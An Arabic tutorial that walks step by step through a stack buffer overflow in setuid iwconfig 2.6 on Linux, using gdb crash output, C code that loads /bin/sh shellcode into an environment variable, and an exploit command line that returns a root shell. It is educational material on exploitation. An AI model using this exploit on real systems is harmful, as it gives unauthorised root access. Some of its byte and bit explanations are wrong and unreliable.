بسم الله الرحمن الرحيم ...
اليوم سوف اقوم بطرح درس وطيرقه عمل exploit لبرنامج مصاب على نظام Linux
البرنامج المصاب هو iwconfig الاصدار رقم 2.6 ... بسم الله نبدء .
برنامج iwconfig هو برنامج لتنظيم الwireless على Linux ...
الان لنشغل البرنامج
root@qnix:~# iwconfig --help
Usage: iwconfig interface [essid {NN|on|off}]
[nwid {NN|on|off}]
[mode {managed|ad-hoc|...}
[freq N.NNNN[k|M|G]]
[channel N]
[sens N]
[nick N]
[rate {N|auto|fixed}]
[rts {N|auto|fixed|off}]
[frag {N|auto|fixed|off}]
[enc {NNNN-NNNN|off}]
[power {period N|timeout N}]
[txpower N {mW|dBm}]
[commit]كما ترون البرنامج يعمل ويشرح لي بعض الاوامر المستعمله فمصلا لو قمت بادخال
iwconfig eth1 سوف اقوم ببدء التعديل على هاذا ال wireless device واضافه الخواصه له
وما الى ذالك فلنحاول بأدخال قيمه اكبر من ال eth1 ...
root@qnix:~# iwconfig `perl -e 'print "A"x100'` Segmentation fault (core dumped)
حدث خطء وتم اغلاق البرنامج واعطاني ملف core فيه معلومات عن الخطء لنحاول البحث عن بعض
الاسرار فيه ببرنامج gdb
Gnu Debugger .
root@qnix:~# gdb -c core /sbin/iwconfig Using host libthread_db library "/lib/libthread_db.so.1". Core was generated by `iwconfig AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libm.so.6...(no debugging symbols found)...done. Loaded symbols for /lib/libm.so.6 Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2... (no debugging symbols found)...done. Loaded symbols for /lib/ld-linux.so.2 #0 0x41414141 in ?? ()
كما ترون يقول الملف انه يوجد خطء في عنوان 0x41414141 !!!
لاحظو في البدايه قمنا بكتابه حرف ال A ب 100 مره .. وحدث الخطء وقام بادخال قيمه ال A على مسجلات اخرى وساحات اخرى
لايجب الدخول اليها واستخدامها بداله محدده ... فلنعرض بعض المعلومات ..
(gdb) info reg eax 0xffffffed -19 ecx 0x9 9 edx 0x0 0 ebx 0x41414141 1094795585 esp 0xbffff150 0xbffff150 ebp 0x41414141 0x41414141 esi 0x41414141 1094795585 edi 0x41414141 1094795585 eip 0x41414141 0x41414141 eflags 0x210297 2163351 cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0xc010007b -1072693125 fs 0x0 0 gs 0x0 0
كما ترون قام بلكتابه على ال eip,edi,esi,ebp بقيمه AAAAAAAA وللمعلومه A = 41 في
hex ....
الان لنحاول ان نقوم بجعل البرنامج يقفز بدل القفز للعنوان 0x41414141 الى عنوان shellcode
كود برنامج يقوم بعمليه محدده وال shellcode الذي سوف نقوم بأستعماله سوف يقوم باعطائني
او بلأصح ادخالنا الى /bin/sh ومن هنا نستطيع التحكم في النظام بلكامل ....
فلنحاول بعض المحاولات الان سوف اقوم بأستعمال برنامج صغير يقوم بأدخال ال shellcode
لل environment
ال environment هو مكان تسجل فيه المعلومات التي تحتاجها ولتسعل بعض العميات ...الخ
#include <stdio.h>
#define bash "/bin/bash"
char shellcode[] =
"\x31\xc0\x31\xdb\x50\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x50\x53\x89\xe1\x31\xd2\xb0"
"\x0b\x51\x52\x55\x89\xe5\x0f\x34"
"\x31\xc0\x31\xdb\xfe\xc0\x51\x52"
"\x55\x89\xe5\x0f\x34";
int main()
{
char bish[512];
memset(bish,0x90,512);
memcpy(&bish[512-strlen(shellcode)],shellcode,strlen(shellcode));
memcpy(bish,"BISH=",5);
putenv(bish);
fprintf(stdout, "BISH IS LOADED !!! :D\n");
execl(bash, bash,'\0');
return(0);
}كما ترون هاذا هو الكود وعمله بسيط جدا يقوم بنقل ال shellcode الى enviroment
الان نقوم بعمليه compile ومن ثم تشغيله
root@qnix:~/iwconfig# gcc -o bish bish.c;./bish Bish loaded into enviroment
تم التشغيل والان نقوم باخذ عنوان ال BISH لكي نقوم بكتابته في المتغير eip فسيقفز البرنامج
الى ال BISH ويقوم بتشغيل ال shellcode بأذن الله ...
root@qnix:~/iwconfig# getenv BISH BISH is located at 0xbffffce1
كما ترون عنوان ال BISH هو 0xbffffce1
الان لنقم بلتجربه ...
root@qnix:~/iwconfig# iwconfig `perl -e 'print "A"x92 . "\xe1\xfc\xff\xbf"'` sh-3.00#
تمت العمليه وتم الدخول الى ال /bin/sh واستطيع من هنا عمل اي شئ بلنظام .... لان صلاحيه ال iwconfig هي لل root ويستعمل setuid() .....
الان كل الي قمت به هو اني طبعت 92 حرف A في البرنامج فقام بلخروج عن المساحه المحدده لانه يستعمل الداله strcpy() وليس strncpy()
والان كل ال 8 bits التي سوف تاتي بعد ال 92 سوف تكتب على ال eip لذلك قمت بكتابه العنوان
0xbffffce1
طريقه ادخال هاذا العنوان ليست بلشكل هاذا يجب عليك حذف 0x
bffffce1
وبعدها افصل كل 2 bits بجنبهم وقم باضافه x واقلبهم ويصير العنوان بهاذا الشكل
0xe1 0xfc 0xff 0xbf
ان وجد اي خطء في الموضوع او اي معلومات خاطءه ارجو المعذره وارجو التصحيح ...
تحياتي والى اللقاء ....
